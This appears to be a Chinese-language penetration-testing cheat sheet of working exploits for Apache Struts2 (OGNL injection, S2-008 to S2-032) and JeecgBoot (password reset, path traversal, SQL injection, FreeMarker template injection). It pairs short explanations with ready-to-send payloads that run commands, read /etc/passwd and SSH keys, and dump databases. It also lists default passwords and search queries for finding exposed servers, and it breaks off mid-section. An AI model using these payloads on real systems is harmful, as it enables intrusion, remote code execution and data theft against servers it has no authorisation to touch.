' + (#_memberAccess["allowStaticMethodAccess"]=true,#foo=new java.lang.Boolean("false") ,#context["xwork.MethodAccessor.denyMethodExecution"]=#foo,@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('id').getInputStream())) + '

# S2-008（CVE-2012-0391）

在Struts2的开发阶段，框架提供了一个名为devMode（开发模式）的功能，如果在struts.xml中配置了<constant name="struts.devMode" value="true" />,struts2就会开启大量的调试功能

其中包含一个名为DebuggingIntercepter（调试拦截器）的组件，允许开发者通过URL参数，直接向服务器发送一段OGNL代码并执行，如果运维在将代码发布到生产环境中时，忘记把devMode改回false，这样做只需要在任何Action的URL后面加上debug=command&expression=，后面跟上OGNL表达式

# payload
/devmode.action?debug=command&expression=(%23_memberAccess["allowStaticMethodAccess"]%3dtrue%2c%23foo%3dnew+java.lang.Boolean("false")+%2c%23context["xwork.MethodAccessor.denyMethodExecution"]%3d%23foo%2c%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec('ls+-al+./').getInputStream()))

# S2-009（CVE-2011-3923）

S2-009是对S2-005的白名单防御，官方限定HTTP的参数名称只能包含字母、数字及少数几个特定的符号中：[a-zA-Z0-9\.\]\[_']+

在OGNL的高级语法中，括号的特殊含义是：AST（抽象语法树）节点评估，如果写出类似于(A)(B)的OGNL表达式，引擎会先计算A的值，如果A提取出来的是一个字符串，引擎就会把这个字符串当作一段新的OGNL代码，作为B的上下文参数再去解析和执行。

虽然参数名受到白名单严格过滤，但是参数值不受正则限制，所以就可以把恶意代码放在值里

影响范围：2.1.0-2.3.1.1

比如：

/HelloWorld.acton?example=&(example)('xxx')=1

/ajax/example5.action?age=12313&name=(%23context[%22xwork.MethodAccessor.denyMethodExecution%22]=+new+java.lang.Boolean(false),+%23_memberAccess[%22allowStaticMethodAccess%22]=true,+%23a=@java.lang.Runtime@getRuntime().exec(%27id%27).getInputStream(),%23b=new+java.io.InputStreamReader(%23a),%23c=new+java.io.BufferedReader(%23b),%23d=new+char[51020],%23c.read(%23d),%23kxlzx=@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23kxlzx.println(%23d),%23kxlzx.close())(meh)&z[(name)(%27meh%27)]

# S2-012

S2-012并不是Struts默认配置下就会触发的漏洞，如果在配置Action中Result时使用了重定向类型，并且还使用${param_name}作为重定向变量，例如：

<package name="S2-012" extends="struts-default">
    <action name="user" class="com.demo.action.UserAction">
        <result name="redirect" type="redirect">/index.jsp?name=${name}</result>
        <result name="input">/index.jsp</result>
        <result name="success">/index.jsp</result>
    </action>
</package>

这里UserAction中定义有一个name变量，当触发redirect类型返回时，Struts2 获取使用${name}获取其值，在这个过程中会对name参数的值执行OGNL表达式解析，从而可以插入任意OGNL表达式导致命令执行。

假设有一段OGNL探针： %{#a=2+2} ，将其赋值为name之后系统原封不动地将其赋值给了Action的name属性，执行Action之后登录逻辑执行完毕返回"success"，然后服务器读取重定向配置，此时准备用来重定向的URL从?name=${name}变成了 ?name=%{#a=2+2} ，最后由于struts2中的ServletActionRedirectResult类的设计缺陷，它在将URL真正发送给浏览器之前，为了确保URL里的动态参数都被正确解析，它会对拼装好的URL再次调用OGNL引擎进行一次评估，所以最后引擎看到了${...}语法就会执行变成?name=4

影响范围：2.1.0-2.3.13

%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"cat", "/etc/passwd"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}

# S2-013/S2-014

这两个漏洞的原理一致但是触发漏洞的组件不同，在S2-012中，漏洞出现在<result type="redirect">的URL拼装环节上，在S2-013中，漏洞处在Struts2的UI标签组件上，特别是URL标签

struts2提供了一些方便在JSP页面中生成链接的标签，比如：<s:url>和<s:a>，这些标签有一个非常方便的属性叫做includeParams

当在JSP中有以下这段代码时：

<s:url action="HelloWorld" includeParams="all" />

includeParams的属性决定了在生成新的URL时要不要把当前请求中已有的参数也带过去，它有三个值：

none：不包含任何参数（默认值）

get：只包含当前请求中的GET参数

all：包含当前请求中的所有GET参数和POST参数

这时候如果页面上有一个标签：<s:a href="%{url}" includeParams="all">Click Here</s:a>，攻击者向这个页面发送一个包含恶意OGNL表达式的参数，比如： ?fakeParam=%{#a=2+2} ，由于includeParams="all"，struts2会去寻找当前请求的所有参数准备拼接到新生成的链接里，struts2的UrlHelper类在处理这些抓取来的参数时，为了防止这些参数值中可能存在动态变量，就会对这个参数值进行OGNL评估，于是%{a=2+2}在渲染JSP的时候就被触发了

# payload
?x=%{(#context['xwork.MethodAccessor.denyMethodExecution']=false)(#_memberAccess['allowStaticMethodAccess']=true)(@java.lang.Runtime@getRuntime().exec("touch /tmp/s2013"))}

面对S2-013，官方的修复思路是在UrlHelper中处理参数时，限制了对%和$以及某些特定字符的解析，不过依然可以像S2-003/005一样使用用过的AST语法评估技巧（比如用括号包裹）或者稍微变换一下OGNL的语法结构就能绕过

# S2-015

这个漏洞的诞生为：通配符映射

<action name="*" class="com.demo.UserAction">
    <result name="success">/{1}.jsp</result>
</action>

在这段代码中，如果用户访问login.action，*就变成了login，系统最终会跳转到login.jsp，如果访问register.action，最终就会跳转到register.jsp

这样操作的结果会导致盲目地信任来自URL的输入，并在内部跳转时对这个输入进行二次解析：

如果访问/${2+2}.action，那么{1}就被替换为了${2+2}，struts2中的TextParseUtil类在寻找这个JSP文件的物理路径时没发现字符串里面包含${...}就会认为这是一个动态表达式，最终唤醒OGNL引擎对Action名字进行计算，最终就变成了4.jsp

由于攻击payload是作为URL路径的一部分发送的，它必须先经过web容器的解析才能到达struts2框架，现代web容器对URL的字符限制极其严格，URL中通常不允许出现空格，反斜杠，双引号等特殊字符，如果直接把包含这些字符的OGNL表达式写在Action里面，Tomcat就会直接抛出400 Bad Request或Invalid URL

所以在写payload时通常会舍弃双引号和空格，大量使用OGNL的内置编码转换函数（比如将命令转成ASCII码数组再还原），或者利用参数池进行变量传递

还有需要说明的就是在Struts 2.3.14.1 - Struts 2.3.14.2的更新内容中，删除了SecurityMemberAccess类中的setAllowStaticMethodAccess方法，因此在2.3.14.2版本以后都不能直接通过#_memberAccess['allowStaticMethodAccess']=true来修改其值达到重获静态方法调用的能力。

影响范围：2.0.0 - 2.3.14.2

# payload
#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true)

# S2-016

在Struts2的核心架构中，每有一个HTTP请求时，都需要DefaultActionMapper解析请求决定调用哪个Action，默认情况下：DefaultActionMapper允许通过特殊的参数名来强行改变服务器的执行流程，其中有三个前缀是：

action：强行执行另一个Action

redirect：强行重定向到一个外部URL

redirectAction：强行重定向到另一个Action

如果网页里一个button的提交表单里面带了一个参数refirect:http://www.google.com，服务器收到之后就会中断当前流程直接让浏览器跳转到Google

不过为了支持动态生成跳转链接，redirect和redirectAction会对前缀冒号后面的内容进行OGNL表达式解析，所以只需要.action?redirect=${...}就可以了

影响范围：2.0.0 - 2.3.15

# payload
redirect:${#context["xwork.MethodAccessor.denyMethodExecution"]=false,#f=#_memberAccess.getClass().getDeclaredField("allowStaticMethodAccess"),#f.setAccessible(true),#f.set(#_memberAccess,true),#a=@java.lang.Runtime@getRuntime().exec("uname -a").getInputStream(),#b=new java.io.InputStreamReader(#a),#c=new java.io.BufferedReader(#b),#d=new char[5000],#c.read(#d),#genxor=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter(),#genxor.println(#d),#genxor.flush(),#genxor.close()}

它同时支持${}和%{}两种闭合方式

# S2-019

这个漏洞依然发生在DefaultActionMapper里，不过关键在于：动态方法调用

struts2提供了一个极其灵活的功能：DMI，只要在配置文件中开启struts.enable.DynamicMethodInvocation = true（早期版本中这个选项默认开启），前端就能通过URL直接指定要调用Action里的哪个方法

语法就是使用!分隔：

http://127.0.0.1/UserAction!login.action

服务器收到请求之后就会去UserAction类里面直接执行login方法

当请求发送到服务器之后，DefaulActionMapper会把!后面的字符串（方法名）提取出来，但是在处理这个提取出来的方法名时会对这个方法名进行OGNL评估

# payload
http://127.0.0.1:8080/example/HelloWorld!%{#req=#context.get('co'm.open'symphony.xwo'rk2.disp'atcher.HttpSer'vletReq'uest'),#res=#context.get('co'm.open'symphony.xwo'rk2.disp'atcher.HttpSer'vletRes'ponse'),#res.getWriter().print("Ognl_Pwned_By_ZLARYY"),#res.getWriter().flush(),#res.getWriter().close()}.action

# S2-032（CVE-2016-3081）

官方在S2-016之后删除了redirect和redirectAction这两个前缀，但是保留了method:前缀，如果开启了DMI：struts.enable.DynamicMethodInvocation = true，前端就可以通过在HTTP请求的参数名中使用method:来制定调用的方法，比如：

http://127.0.0.1:8080/index.action?method:login

这行请求会让DefaultActionMapper去执行Action里的login方法

类似的，struts2在解析method:冒号后面的字符串时也会对这个字符串进行OGNL评估

# payload
 http://your-ip:8080/index.action?method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS ,%23res%3d%40org.apache.struts2.ServletActionContext%40getResponse(),%23res.setCharacterEncoding(%23parameters.encoding%5B0%5D),%23w%3d%23res.getWriter(),%23s%3dnew+java.util.Scanner(@java.lang.Runtime@getRuntime().exec(%23parameters.cmd%5B0%5D).getInputStream()).useDelimiter(%23parameters.pp%5B0%5D),%23str%3d%23s.hasNext()%3f%23s.next()%3a%23parameters.ppp%5B0%5D,%23w.print(%23str),%23w.close(),1?%23xx:%23request.toString&pp=%5C%5CA&ppp=%20&encoding=UTF-8&cmd=id

# jeecg-boot

参考：Jeecg-boot常见漏洞汇总 - FreeBuf网络安全行业门户

Jeecg漏洞汇总（非常全）附全新扫描工具（JeecgGo）-CSDN博客

JeecgBoot是一款集成AI应用的，基于BPM流程的低代码平台，旨在帮助企业快速实现低代码开发和构建个性化AI应用！前后端分离架构Ant Design&Vue3，SpringBoot，SpringCloud Alibaba，Mybatis-plus，Shiro。强大的代码生成器让前后端代码一键生成，无需写任何代码！引领AI低代码开发模式: AI生成->OnlineCoding-> 代码生成-> 手工MERGE，帮助Java项目解决80%的重复工作，让开发更多关注业务，提高效率、节省成本，同时又不失灵活性！低代码能力：Online表单、表单设计、流程设计、Online报表、大屏/仪表盘设计、报表设计; AI应用平台功能：AI知识库问答、AI模型管理、AI流程编排、AI聊天等，支持含ChatGPT、DeepSeek、Ollama等多种AI大模型。

可以通过以下语法搜索可能带有jeecg-boot的服务器：

fofa:

body="/sys/common/pdf/pdfPreviewIframe"
title="Jeecg-Boot 快速开发平台" || body="积木报表"
body="jeecg-boot"
app="JEECG"
icon_hash="1380908726"
icon_hash="-250963920"

第二篇参考文章中给了一个自动扫描jeecg-boot漏洞的项目：Msup5/JeecgGo: JeecgBoot Go版本综合漏洞检测工具

# 常见弱口令漏洞

admin/123456
jeecg/123456
admn/admin
test/test
demo/test
jeecg/jeecg123456
guest/guest

# JeecgBoot passwordChange接口任意用户密码重置

JeecgBoot passwordChange接口任意用户密码重置是一个结合了未授权访问和水平越权的漏洞

这个漏洞的接口在/jeecg-boot/sys/user/passwordChange（或基于其路由规则的类似路径）

Token校验失效或配置不当（未授权访问）：在Jeecg-boot的部分版本或默认配置中，该接口可能被错误地加入了鉴权白名单(anon)，或者其底层的Token验证机制存在逻辑缺陷，导致即使攻击者不提供有效的X-Access-Token请求头，依然能触达底层的密码修改业务
身份盲目信任（水平越权）：当业务代码处理密码请求时，它仅仅依赖前端传入的请求参数去数据库执行UPDATE更新操作，系统后端没有去校验当前发起请求的用户（Token解析出的真实用户）身份是否与被修改密码的用户（传入的username参数）完全一致

所以可以构造一个http请求访问/sys/user/passwordChange接口的请求报文，在请求体的JSON或表单数据中，强行制定username: admin以及password: ZLARYY，这样请求发出去之后管理员admin的密码就会变成ZLARYY

# payload
GET /jeecg-boot/sys/user/passwordChange?username=admin&password=admin&smscode=&phone= HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: keep-alive

# jeecg-boot-checkOnlyUser信息泄露漏洞

jeecg-boot-checkOnlyUser信息泄露漏洞(CVE-2021-37306)是早期版本Jeecg-boot中的信息泄露漏洞（Jeecg-boot <= 2.4.5），其涉及的接口是/jeecg-boot/sys/user/checkOnlyUser或/sys/user/checkOnlyUser

在Jeecg-boot业务逻辑中，checkOnlyUser接口原本是提供给前端做表单校验用的，比如检查输入的username等是否被别人占用，在Jeecg-boot 2.4.5及以前的版本中，错误地将这个接口加入了免密访问白名单（anon）

这就导致不提供任何Token的情况下，直接向该接口发送请求，通过不断替换username的参数，根据服务器返回的true和false状态判断是否存在某个账号，从而实现用户名字典枚举

与其搭配的是CVE-2021-37305：querySysUser，这个接口可以将指定用户完整数据库记录以JSON格式全部脱出，拿到Hash和Salt之后就可以直接在本地破解管理员密码

# payload
/jeecg-boot/sys/user/checkOnlyUser?username=admin

Jeecg-Boot 2.4.5及之前版本存在不安全权限漏洞。攻击者可利用该漏洞通过uri:/sys/user/querySysUser?username=admin提升权限并查看敏感信息。

# jeecg-boot-目录遍历漏洞

通常出现问题的接口为：/sys/common/view/{filename}（文件预览/图片查看接口）、/sys/common/download（文件下载接口）

当服务器接收到前端传来的filename参数时，后端的代码逻辑通常是将”基础上传目录“与”传入的文件名“进行拼接：File file = new File(baseUploadPath,filename)

如果后端没有对传入的filename包含特殊字符进行过滤就可以传入../进行目录穿越

# payload
GET /jeecg-boot/sys/common/view/%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fapplication-prod.yml HTTP/1.1
Host: target.com

可以尝试读取的内容有：application.yml、application-prod.yml、/root/.ssh/id_rsa（可以获取服务器的SSH私钥，尝试直接远程登录服务器）、/etc/shadow或/etc/passwd

还有一种类型：Jeecg-Boot 任意目录遍历/文件树信息泄露漏洞

通常接口是：/jeecg-boot/online/cgform/head/fileTree

其逻辑为前端传入一个路径parentPath，后端就去服务器上读取这个路径下的所有文件夹和文件名，比如：parentPath=/(Linux)，parentPath=C:\(Windows)，既没有沙箱限制读取目录也没有严格的权限控制

# payload
/jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/

低权限账号访问直接返回服务器文件目录信息

# Jeecg-boot 3.4.4 /sys/dict/queryTableData SQL注入

为了让底层的SQL语句能动态地接收tableName，textColumn，codeColumn三个参数，MyBatis的预编译语法#{}只能用于安全地绑定数据值（如WHERE id = ?），不能用来绑定表名或者列名，为了实现功能所以采用${}语法，${}的底层机制是原封不动地进行字符串拼接：

SELECT ${textColumn} AS text, ${codeColumn} AS value FROM ${tableName}

# payload
/jeecg-boot/sys/dict/queryTableData?pageSize=100&table=information_schema.tables&text=table_name&code=TABLE_SCHEMA

# JeecgBoot onlDragDatasetHead/getTotalData SQL注入

这是JeecgBoot/JimuReport仪表盘模块中的一个未授权SQL注入，CVE编号为CVE-2024-48307，JeecgBoot v3.7.1的/onlDragDatabaseHead/getTotalData组件存在SQL注入，实际常见路径是带项目上下文和drag前缀的/jeecg-boot/drag/onlDragDatabaseHead/getTotalData

onlDragDatabaseHead/getTotalData这个接口属于JeecgBoot集成的JimuReport/JimuBI仪表盘大屏模块，它支持报表、仪表盘、大屏设计，用户可以通过拖拽组件完成数据展示，相关权限也说明了drag:design:getTotalData，说明这个接口本来就是给仪表盘获取Online表单展示数据用的，其正常业务逻辑大概是前端告诉后端要查询的tableName、filedName、filter和用什么维度、指标、统计字段

利用点主要围绕JSON请求体里的参数：

tableName
config.name[].fieldName
config.value[].fieldName
condition / filter

如果这些参数被后端直接拼接select 字段 from 表名 where 条件那么就会造成SQL注入

# payload
POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/2
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36
Content-Type: application/json
Content-Length: 281

{"tableName":"sys_user","compName":"test","condition":{"filter":{}},"config":{"assistValue":[],"assistType":[],"name":[{"fieldName":"concat(0x7e,version(),0x7e)","fieldType":"string"},{"fieldName":"id","fieldType":"string"}],"value":[{"fieldName":"id","fieldType":"1"}],"type":[]}}

# jeecg-boot-getDictItemsByTable SQL注入漏洞

jeecg-boot-getDictItemsByTableSQL注入漏洞本质上是JeecgBoot早期“动态字典查询接口”把用户传入的表名、显示字段、值字段直接拼接进SQL，其常见的漏洞接口形式为：

/jeecg-boot/sys/ng-alain/getDictItemsByTable/{table}/{key}/{value}

这个接口原本是给前端组件加载“字典项”用的，比如需要从某张表里面查数据：

表名：sys_depart
显示字段：depart_name
值字段：id

后端就会查询类似：

select depart_name as label, id as value from sys_depart

最终获得前端指定表、指定字段里取得的字典数据

但是在后端里面，table、key、value并不是作为普通值传入SQL，而是被原样替换到SQL结构里面，用的还是MyBatis的${}字符串拼接，而不是安全参数绑定

之前我们也提到过MyBatis的${}，它表示字符串直接拼接，在MyBatis中还有一种写法#{}表示作为参数占位符，由预编译处理，所以相对来说#{}会安全些

# payload
GET /jeecg-boot/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Sec-Purpose: prefetch
Connection: close
Priority: u=6

# Jeecg-Boot /jmreport/show SQL注入漏洞

该漏洞是JeecgBoot集成的JimuReport积木报表模块中的一个报表预览接口注入问题，主要出现在JeecgBoot 3.5.0、3.5.1，其主要表现为/jeecg-boot/jmreport/show组件存在SQL注入

jmreport/show这个接口属于JimuReport报表的预览/展示接口，其正常业务逻辑为前端点击“预览报表”之后，服务器端请求jeecg-boot/jmreport/show，后端根据报表的id寻找报表配置，进而读取报表里配置的数据源SQL，然后把前端传入的查询参数带入SQL，最后执行SQL返回报表数据

其问题出现在/jeecg-boot/jmreport/show接口存在未授权SQL注入，在报表展示逻辑中，后端会进入jmReportDesignService.show，随后调用报表数据查询逻辑，其动态SQL类似select * from ... where id='${id}'，说明参数以模版替换形式进入SQL

在JeecgBoot 3.5.3的/jeecg-boot/jmreport/show接口中仍存在SQL注入问题，并且可以通过布尔盲注绕过防护

# payload
POST /jeecg-boot/jmreport/show HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
Connection: close
Content-Length: 182
Content-Type: application/json;charset=UTF-8
Accept-Encoding: gzip

{
"id": "961455b47c0b86dc961e90b5893bff05",
"apiUrl": "",
"params": {
"id ": "1 ' or ' % 1 % ' like (updatexml(0x3a,concat(1,(version())),1)) or ' % % ' like '"
}
}

# jeecg-boot sys/duplicate/check SQL注入

该漏洞是JeecgBoot里“重复值校验接口”产生的SQL注入问题，包括CVE-2022-45206和后续绕过/变体CVE-2023-37805

/sys/duplicaye/check接口的作用是检查某张表里的字段的值是否重复

比如后台新增用户时，要判断用户名是否已经存在，前端可能会让后端检查：

tableName = sys_user
fieldName = username
fieldVal  = admin
dataId    = 当前编辑数据的 id，可选

后端正常逻辑大概是select count(*) from 某张表 where 某字段 = 某个值，如果count > 0就说明重复，如果count = 0说明可用

其中tableName和fieldName属于SQL结构的一部分，后端如果把他们直接拼进SQL就会出现：

select count(*) from ${tableName} where ${fieldName} = #{fieldVal}

这里即使fieldVal使用了预编译，但tableName和fieldName没有严格白名单校验，仍然可以控制SQL结构，在JeecgBoot 3.5.0中的/sys/duplicate/check接口中存在SQL注入，checksql可以被绕过

# payload
GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))&fieldVal=1&dataId=asd HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU


GET /jeecg-boot/sys/duplicate/check?tableName=sys_log&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(10))&fieldVal=1000&dataId=2000 HTTP/1.1
Host: 
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36
Connection: close
Cache-Control: max-age=0
X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU

# JeecgBoot jmreport/loadTableData SSTI模板注入漏洞

该漏洞一般对应CVE-2023-41544，它是JeecgBoot集成的JimuReport积木报表模块在处理报表SQL参数时，使用FreeMarker模版引擎解析了用户可控内容，导致服务端模板注入，严重时可发展为远程代码执行RCE。攻击者可通过构造HTTP请求访问/jmreport/loadTableData组件执行任意代码

/jmreport/loadTableData接口属于JimuReport积木报表的数据加载接口，正常情况下报表设计器里会配置数据源、SQL、表名、分页参数等信息，前端请求/jmreport/loadTableData之后后端根据这些参数去加载报表数据

该接口没有身份验证，且后端会使用FreeMarker处理用户传入的SQL参数，调用链中会进入parseReportSql，最终使用FreeMarkerUtils创建并处理模版，即SQL字符串会先被当做FreeMarker模版内容解析

# payload
POST /jeecg-boot/jmreport/loadTableData HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json;charset=UTF-8
X-Sign: AD0488642A880C68C8E3551C3BE0F6F5
X-TIMESTAMP: 1699726206096
X-Access-Token: null
token: null
JmReport-Tenant-Id: null
Content-Length: 167
Connection: close
Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1699726144; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1699726162

{"dbSource":"","sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'","tableName":"test_demo);","pageNo":1,"pageSize":10}

# JeecgBoot AviatorScript表达式注入

该漏洞主要发生在JeecgBoot集成的JimuReport模块中，在报表单元格、文本组件或计算表达式中允许写入AviatorScript表达式，而后端在预览、展示报表时会解析这些表达式，如果这部分表达式内容可控就可能造成服务端执行非预期代码，严重时导致RCE

其触发链可以通过/jmreport/save在报表文本内容里写入AviatorScript表达式，然后访问/jmreport/show触发表达式解析，从而导致命令执行

AviatorScript表达式：AviatorScript是Java生态中的一个表达式引擎，常用作动态计算、条件判断、公式解析，它的表达式可以包含数字、字符串、布尔值、变量、运算符、函数调用和条件判断

# 结果为7
AviatorEvaluator.execute("1 + 2 * 3");

这里的1+2*3就是一个AviatorScript表达式，与普通的Java代码不一样的是，AviatorScript表达式可以在程序运行时从字符串中动态解析并执行，那么，如果表达式引擎具备访问Java对象、类加载、函数调用等能力，就会从公式计算变成服务端表达式执行

其漏洞链路大致为：发现能访问报表保存接口之后在报表text/单元格内容中写入AviatorScript表达式，接着访问报表展示接口导致后端渲染报表触发AviatorScript解析，从而执行非预期表达式

# payload
POST /jeecg-boot/jmreport/queryFieldBySql?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0
Accept: application/json, text/plain, */*
Content-Type: application/json
Content-Length: 108

{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami \") }'" 
}

# jeecg-boot后台/sysMessageTemplate/sendMsg接口FreeMaker模板注入

该漏洞本质是消息模版功能把用户可控的模版内容交给FreeMarker引擎解析，导致服务端可能执行非预期的模版表达式，严重时造成远程代码执行

/sysMessageTemplate/sendMsg这个接口属于JeecgBoot的系统消息模版功能，正常业务逻辑中，管理员创建消息模版，然后向模版中写入变量，调用sendMsg接口发送模版消息，最后用户就可以在站内信或者系统消息中看到最终内容

添加模版：/jeecg-boot/sys/message/sysMessageTemplate/add
发送模版：/jeecg-boot/sys/message/sysMessageTemplate/sendMsg
查看结果：/jeecg-boot/sys/message/sysMessage/list

如果模版内容能被恶意地添加或修改，再调用发送接口，就可能让后端解析恶意的FreeMarker模版

之前我们提到了/jmreport/loadTableDataSSTI，它和sendMsg的区别在于前者是报表SQL参数被FreeMarker解析，属于积木报表模块，后者属于消息模版内容被FreeMarker解析，属于系统消息模版模块

# payload
1、添加一个测试模板

POST /jeecg-boot/sys/message/sysMessageTemplate/add HTTP/1.1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao
Tenant-Id: 0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 141

{"templateType":"1","templateCode":"5","templateName":"test111","templateContent":"${\"freemarker.template.utility.Execute\"?new()(\"id\")}"}

2、发送模板

POST /jeecg-boot/sys/message/sysMessageTemplate/sendMsg HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao
Tenant-Id: 0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0
Te: trailers
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 64

{"templateCode":"5","testData":"{}","receiver":"","msgType":"1"}

3、执行模板并查看返回结果

GET /jeecg-boot/sys/message/sysMessage/list?_t=1732776144&column=createTime&order=desc&field=id,,,esTitle,esContent,esReceiver,esSendNum,esSendStatus_dictText,esSendTime,esType_dictText,action&pageNo=1&pageSize=10 HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao
Tenant-Id: 0
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: cross-site
Priority: u=0
Te: trailers
Connection: close
Accept-Encoding: gzip

# Jeecg-jeecgFormDemoController存在JNDI代码执行漏洞

CVE-2023-49442：JEECG jeecgFormDemoController JNDI代码执行漏洞，特别：Jeecg与Jeecg-Boot不是同一个应用，该漏洞主要影响JEECG 4.0及以前版本

在JEECG 4.0及以前版本中，jeecgFormDemoController.do?interfaceTest接口存在不安全反序列化/JNDI注入风险，用户可以通过构造恶意请求让服务端通过JNDI去加载远程对象，最终可能造成远程代码执行

JNDI：Java Naming and Directory Interface，Java命名与目录接口，正常业务逻辑中是作为资源查找机制，但如果能控制JNDI查询地址，例如让服务器去查询一个外部LDAP/RMI地址，就可能诱导服务器加载恶意对象或触发危险类从而形成代码执行

jeecgFormDemoController是JEECG旧版专用的Online表单/表单演示控制器，漏洞相关接口通常写成：

jeecgFormDemoController.do??interfaceTest

